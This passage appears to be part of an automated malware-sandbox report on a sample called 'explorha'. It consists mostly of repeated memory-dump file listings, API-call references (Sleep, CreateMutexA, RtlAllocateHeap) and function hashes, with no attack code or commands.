Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 44c0e12d95cad4f54437119b0b8eca94017696b48451c9cfb450864a553c3ed5
Instruction ID: 6ca33f50031ea08bc436593d85c0472d4335ee9b48cacd78cafee3ad9a9f59d6
Opcode Fuzzy Hash: 44c0e12d95cad4f54437119b0b8eca94017696b48451c9cfb450864a553c3ed5
Instruction Fuzzy Hash: CA314CB17101409BEB08DB78CD897ADB7B2EF95314F208359E426973E2D7759A80C762

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 06505e7451422b405679e10c2c5eeb65adb946943539e84bc07ad1b015e14c88
Instruction ID: 440a3bee673a5babffce7ae89590cdfca286b16c19791a3a04ba8c2dd03fae8e
Opcode Fuzzy Hash: 06505e7451422b405679e10c2c5eeb65adb946943539e84bc07ad1b015e14c88
Instruction Fuzzy Hash: CD216A763442409BFB28AB68C98F76CB6A3EF51300F244417E4079E3E2DBB548C0C267

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8c21783b64ff5ecabc5194bc150e6663cb78fb33da9e2e09b8e4f1fddea37ea9
Instruction ID: f78f32d0c8c3400e56025b894d2efabcbb88de6a7f239982c90e57bb197a9c83
Opcode Fuzzy Hash: 8c21783b64ff5ecabc5194bc150e6663cb78fb33da9e2e09b8e4f1fddea37ea9
Instruction Fuzzy Hash: 44216AB27006409BFB18DB28DD897ADFBA2EF85311F204259E4169B3E0DBB595808751

Uniqueness

Uniqueness Score: -1.00%

Function 00B0EE4F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B0BE33,00000001,00000364,00000006,000000FF,?,00B1045F,?,00000004,00000000,?,?), ref: 00B0EE91

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 511278759f25fe46a6647e632d7d47f7ae969d6996c02a7fa3d99d5fa85ed5bd
Instruction ID: 72d6875acb401241b738d3b9b62ed851919d0b8394ac52e30f6b1f473bfaf8c2
Opcode Fuzzy Hash: 511278759f25fe46a6647e632d7d47f7ae969d6996c02a7fa3d99d5fa85ed5bd
Instruction Fuzzy Hash: AFF0B43250022C66DBA12621DC01A5B7FD8DB81360B3888D2AC28A61C1CF30E80181E0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00ADD6EE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00ADD75D
__Mtx_unlock.LIBCPMT ref: 00ADD86D

Strings

O>H, xrefs: 00ADD8E4

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
